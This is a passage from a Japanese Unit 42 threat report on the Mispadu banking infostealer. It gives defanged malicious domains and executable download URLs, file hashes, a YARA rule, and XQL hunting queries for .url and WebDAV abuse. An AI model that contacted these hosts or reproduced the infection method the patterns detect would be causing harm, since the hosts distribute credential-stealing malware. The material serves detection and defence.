Threat Protection、Local Analysis を含む [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr) を通じ、本稿で解説するマルウェアからより確実に保護されています。さらに、[Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) と [DNS Security](https://docs.paloaltonetworks.com/dns-security) は Mispadu Stealer のアクティビティと関連付けられた既知のドメインや URL を悪意のあるものとして識別します。 侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、[こちらのフォーム](https://start.paloaltonetworks.jp/contact-unit42.html)からご連絡いただくか、infojapan@paloaltonetworks.comまでメールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。 * 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42) * EMEA: +31.20.299.3130 * APAC: +65.6983.8730 * 日本: (+81) 50-1790-0200 パロアルトネットワークスは、これらの調査結果を Cyber Threat Alliance (CTA: サイバー脅威アライアンス) のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使って、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害できます。詳細は [Cyber Threat Alliance](https://www.cyberthreatalliance.org) にてご確認ください｡ ## **IoC (侵害指標)** ### ファイル インジケーター * 8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea * bc25f7836c273763827e1680856ec6d53bd73bbc4a03e9f743eddfc53cf68789 * fb3995289bac897e881141e281c18c606a772a53356cc81caf38e5c6296641d4 * 46d20fa82c936c5784f86106838697ab79a1f6dc243ae6721b42f0da467eaf52 * 03bdae4d40d3eb2db3c12d27b76ee170c4813f616fec5257cf25a068c46ba15f * 1b7dc569508387401f1c5d40eb448dc20d6fb794e97ae3d1da43b571ed0486a0 * e136717630164116c2b68de31a439231dc468ddcbee9f74cca511df1036a22ea ### ネットワーク インジケーター * plinqok\[.\]com * trilivok\[.\]com * xalticainvest\[.\]com * moscovatech\[.\]com * hxxp://trilivok\[.\]com/4g3031ar0/cb6y1dh/it.php * hxxps://plinqok\[.\]com/3dzy14ebg/buhumo0/it.php * 24\.199.98\[.\]128/expediente38/8869881268/8594605066.exe * 24\.199.98\[.\]128/verificacion58/6504926283/3072491614.exe * 24\.199.98\[.\]128/impresion73/5464893028/8024251449.exe ### YARA ルール rule u42\_crime\_win\_mispadu { meta: author = "Unit 42 Threat Intelligence" date = "2023-12-15" description = "Identifies the infostealer malware family associated with the Mispadu threat, which is responsible for targeting specific domains within a victim's browser history." hash1 = "8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea" hash2 = "30b4ab9707347c6bdd9035d1562cab31c78a27f5ad410871cadffeb208cd85e8" reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu" malware\_family = "mispadu" strings: $str1 = {687474703A2F2F0068747470733A2F2F00000000000000007B003A003000380078007D00000000002E2F0000000000004D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2054726964656E742F372E303B2072763A31312E3029206C696B65204765636B6F00005300480041003200350036000000000052746C47657456657273696F6E00} $str2 = {424372797074456E6372797074000000424372797074436C6F7365416C676F726974686D50726F76696465720000000043003A005C00570069006E0064006F00770073005C00530079007300740065006D003300320000005C00540065006D00700000000000000043003A005C00500072006F006700720061006D0044006100740061005C00540065006D00700000002C00000000000000554E4B4E4F574E007C0000003D000000687474703A2F2F0068747470733A2F2F00} $str3 = {6E00740064006C006C002E0064006C006C0000000000000057696E646F777320313100000000000057696E646F777320313000000000000057696E646F777320380000000000000057696E646F7773203700000000000000556E6B6E6F776E00410045005300000043006800610069006E0069006E0067004D006F00640065004300420043000000} condition: any of them } |-------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | rule u42\_crime\_win\_mispadu { meta: author = "Unit 42 Threat Intelligence" date = "2023-12-15" description = "Identifies the infostealer malware family associated with the Mispadu threat, which is responsible for targeting specific domains within a victim's browser history." hash1 = "8e1d354dccc3c689899dc4e75fdbdd0ab076ac457de7fb83645fb735a46ad4ea" hash2 = "30b4ab9707347c6bdd9035d1562cab31c78a27f5ad410871cadffeb208cd85e8" reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu" malware\_family = "mispadu" strings: $str1 = {687474703A2F2F0068747470733A2F2F00000000000000007B003A003000380078007D00000000002E2F0000000000004D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2054726964656E742F372E303B2072763A31312E3029206C696B65204765636B6F00005300480041003200350036000000000052746C47657456657273696F6E00} $str2 = {424372797074456E6372797074000000424372797074436C6F7365416C676F726974686D50726F76696465720000000043003A005C00570069006E0064006F00770073005C00530079007300740065006D003300320000005C00540065006D00700000000000000043003A005C00500072006F006700720061006D0044006100740061005C00540065006D00700000002C00000000000000554E4B4E4F574E007C0000003D000000687474703A2F2F0068747470733A2F2F00} $str3 = {6E00740064006C006C002E0064006C006C0000000000000057696E646F777320313100000000000057696E646F777320313000000000000057696E646F777320380000000000000057696E646F7773203700000000000000556E6B6E6F776E00410045005300000043006800610069006E0069006E0067004D006F00640065004300420043000000} condition: any of them } | ## **追加リソース** * [Inside Mispadu massive infection campaign in LATAM - Metabase Q](https://www.metabaseq.com/mispadu-banking-trojan/) * [Dissecting the Menacing New infostealer Campaign Targeting Mexico](https://www.hunters.security/en/blog/dissecting-new-infostealer-campaign-targeting-mexico) ## **XQL クエリー** // 外部ネットワーク共有から実行されており、親プロセスが .url ファイルにアクセスしているようなプロセスを探す config case\_sensitive = false | filter event\_type = ENUM.PROCESS and action\_process\_image\_command\_line ~= "^\\"\\\\\\\\(\\d{1,3}(?:\\.\\d{1,3}){3})" |alter ip = arrayindex(regextract(action\_process\_image\_command\_line , "(\\d{1,3}(?:\\.\\d{1,3}){3})"),0) |alter rfc1918\_172 = incidr(ip, "172.16.0.0/12") |alter rfc1918\_10 = incidr(ip, "10.0.0.0/8") |alter rfc1918\_192 = incidr(ip, "192.168.0.0/16") |filter rfc1918\_172 = false and rfc1918\_10 = false and rfc1918\_192 = false | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , actor\_process\_os\_pid , ip | join type = left conflict\_strategy = left ( config case\_sensitive = false | filter event\_type = ENUM.FILE and action\_file\_extension = "url" | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , action\_file\_path as url , actor\_process\_os\_pid as file\_pid ) as joined joined.file\_pid = actor\_process\_os\_pid and joined.agent\_hostname = agent\_hostname and joined.actor\_process\_command\_line = actor\_process\_command\_line | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line , url , ip | filter url != null |comp values(action\_process\_image\_command\_line ) as commands by ip |-------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // 外部ネットワーク共有から実行されており、親プロセスが .url ファイルにアクセスしているようなプロセスを探す config case\_sensitive = false | filter event\_type = ENUM.PROCESS and action\_process\_image\_command\_line ~= "^\\"\\\\\\\\(\\d{1,3}(?:\\.\\d{1,3}){3})" |alter ip = arrayindex(regextract(action\_process\_image\_command\_line , "(\\d{1,3}(?:\\.\\d{1,3}){3})"),0) |alter rfc1918\_172 = incidr(ip, "172.16.0.0/12") |alter rfc1918\_10 = incidr(ip, "10.0.0.0/8") |alter rfc1918\_192 = incidr(ip, "192.168.0.0/16") |filter rfc1918\_172 = false and rfc1918\_10 = false and rfc1918\_192 = false | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , actor\_process\_os\_pid , ip | join type = left conflict\_strategy = left ( config case\_sensitive = false | filter event\_type = ENUM.FILE and action\_file\_extension = "url" | fields action\_process\_image\_command\_line , actor\_process\_command\_line , agent\_hostname , action\_file\_path as url , actor\_process\_os\_pid as file\_pid ) as joined joined.file\_pid = actor\_process\_os\_pid and joined.agent\_hostname = agent\_hostname and joined.actor\_process\_command\_line = actor\_process\_command\_line | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line , url , ip | filter url != null |comp values(action\_process\_image\_command\_line ) as commands by ip | // WebDav クライアントの不審なコマンドを探す config case\_sensitive = false | dataset = xdr\_data | filter event\_type = ENUM.PROCESS | filter action\_process\_image\_command\_line contains "@80 http://" and action\_process\_image\_command\_line contains "DavSetCookie" | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line |-------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | // WebDav クライアントの不審なコマンドを探す config case\_sensitive = false | dataset = xdr\_data | filter event\_type = ENUM.PROCESS | filter action\_process\_image\_command\_line contains "@80 http://" and action\_process\_image\_command\_line contains "DavSetCookie" | fields agent\_hostname , action\_process\_image\_command\_line , actor\_process\_command\_line | *2024-02-08 09:00 JST 英語版更新日 2024-02-07 10:44 PST の内容を反映* トップに戻る ### タグ * [Banking Trojan](https://unit42.paloaltonetworks.com/ja/tag/banking-trojan-ja/ "Banking Trojan") * [CVE-2023-36025](https://unit42.paloaltonetworks.com/ja/tag/cve-2023-36025-ja/ "CVE-2023-36025") * [Mispadu infostealer](https://unit42.paloaltonetworks.com/ja/tag/mispadu-infostealer-ja/ "Mispadu infostealer") [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:ApateWeb: 回避戦略を使いスケアウェアや PUP を配信する多層型大規模キャンペーン](https://unit42.paloaltonetworks.com/ja/apateweb-scareware-pup-delivery-campaign/ "ApateWeb: 回避戦略を使いスケアウェアや PUP を配信する多層型大規模キャンペーン") ### 目次 * ### 関連記事 * [BadPack にご用心: Android アプリの奇妙な分析回避トリック](https://unit42.paloaltonetworks.com/ja/apk-badpack-malware-tampered-headers/ "article - table of contents") * [フック フレームワークで Android プラットフォームのマルウェア検出カバレッジを広げる方法](https://unit42.paloaltonetworks.com/ja/hooking-framework-in-sandbox-to-analyze-android-apk/ "article - table of contents") * [バンキング型トロイの木馬の技術: 金銭的動機で動くマルウェアはいかにしてインフラとなったか](https://unit42.paloaltonetworks.com/ja/banking-trojan-techniques/ "article - table of contents") ## 関連項目 リソース ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年8月6日 [#### ChainDropの脅威の概要:自己増殖型npmワームの内部](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/ja/tag/blockchain-ja/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/ja/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/ja/tag/claude-code/ "Claude code") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/ "ChainDropの脅威の概要:自己増殖型npmワームの内部") ![Pictorial representation of the npm packages supply chain attack. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/05_Malware_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年6月2日 [#### npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/) * [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting") * [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub") * [Npm packages](https://unit42.paloaltonetworks.com/ja/tag/npm-packages/ "npm packages") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/ "npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)") ![Pictorial representation of Screening Serpens. An illustrated blue snake is highlighted by a red circle against a night sky. The constellation serpens.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/Serpens-Iran-A-1920x900-2-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年5月22日 [#### イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/) * [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat") * [AppDomainManager](https://unit42.paloaltonetworks.com/ja/tag/appdomainmanager/ "AppDomainManager") * [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/ "イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡") ![Pictorial representation of a severe Linux vulnerability. Close-up of a woman wearing glasses and focusing intently on a computer screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/05_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年5月5日 [#### Copy Fail:ここ数年で最も深刻なLinuxの脅威について必要な知識](https://unit42.paloaltonetworks.com/ja/cve-2026-31431-copy-fail/) * [Containers](https://unit42.paloaltonetworks.com/ja/tag/containers-ja/ "Containers") * [CVE-2026-31431](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-31431/ "CVE-2026-31431") * [Kubernetes](https://unit42.paloaltonetworks.com/ja/tag/kubernetes-ja/ "Kubernetes") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/cve-2026-31431-copy-fail/ "Copy Fail:ここ数年で最も深刻なLinuxの脅威について必要な知識") ![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/) * [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK") * [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks") * [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)") ![Pictorial representation of the supply chain attack compromising Axios. A giant eye made of glowing binary code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/02_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月1日 [#### 脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/) * [API attacks](https://unit42.paloaltonetworks.com/ja/tag/api-attacks-ja/ "API attacks") * [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript") * [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/ "脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響") ![Pictorial representation of TeamPCP. Glowing code on a screen where several word such as Crime, Hackers, and Security are highlighted in a contrasting color.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/03_Cybercrime_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年3月31日 [#### プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/) * [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182") * [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub") * [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/ "プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃") ![Pictorial representation of phishing campaign. A blurred image focusing on a person typing on a laptop with lines of code visible on the screen, illuminated in blue and red lights, suggestive of intense coding or cyber activities.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/06_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年3月24日 [#### 脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/) * [Email scam](https://unit42.paloaltonetworks.com/ja/tag/email-scam/ "email scam") * [Lure](https://unit42.paloaltonetworks.com/ja/tag/lure/ "lure") * [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/ "脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム") ![Pictorial representation of BeyondTrust vulnerability CVE-2026-1731. Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月19日 [#### BeyondTrustの深刻な脆弱性（CVE-2026-1731）の悪用においてVShellおよびSparkRATを確認](https://unit42.paloaltonetworks.com/ja/beyondtrust-cve-2026-1731/) * [Bash](https://unit42.paloaltonetworks.com/ja/tag/bash-ja/ "bash") * [CVE-2026-1731](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1731/ "CVE-2026-1731") * [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/beyondtrust-cve-2026-1731/ "BeyondTrustの深刻な脆弱性（CVE-2026-1731）の悪用においてVShellおよびSparkRATを確認") ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月17日 [#### 野放し状態で悪用されているIvanti EPMMの深刻な脆弱性](https://unit42.paloaltonetworks.com/ja/ivanti-cve-2026-1281-cve-2026-1340/) * [CVE-2026-1281](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1281/ "CVE-2026-1281") * [CVE-2026-1340](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-1340/ "CVE-2026-1340") * [Ivanti](https://unit42.paloaltonetworks.com/ja/tag/ivanti-ja/ "Ivanti") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/ivanti-cve-2026-1281-cve-2026-1340/ "野放し状態で悪用されているIvanti EPMMの深刻な脆弱性") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得 ## 進化する脅威の状況を常に先取り メール アドレス 本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。 本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。 Invalid captcha! サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} 製品とサービス * [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security) * [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design) * [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security) * [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security) * [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security) * [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall) * [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations) * [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.jp/network-security/panorama) * [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase) * [Prisma SASE](https://www.paloaltonetworks.jp/sase) * [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration) * [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.jp/sase/access) * [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan) * [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex) * [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud) * [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud) * [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse) * [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response) * [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam) * [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira) * [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management) * [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager) * [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance) * [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management) * [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic) * [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management) * [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance) * [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery) * [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access) * [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42) * [予防評価](https://www.paloaltonetworks.jp/unit42/assess) * [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond) * [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform) * [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners) 会社名 * [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us) * [採用情報](https://jobs.paloaltonetworks.com/en/) * [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales) * [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [お客様向け](https://www.paloaltonetworks.jp/customers) * [IR](https://investors.paloaltonetworks.com/) * [拠点](https://www.paloaltonetworks.com/about-us/locations) * [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom) 人気のあるリンク * [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja) * [コミュニティ](https://www.paloaltonetworks.com/communities) * [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources) * [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia) * [イベントセンター](https://events.paloaltonetworks.com/) * [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center) * [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z) * 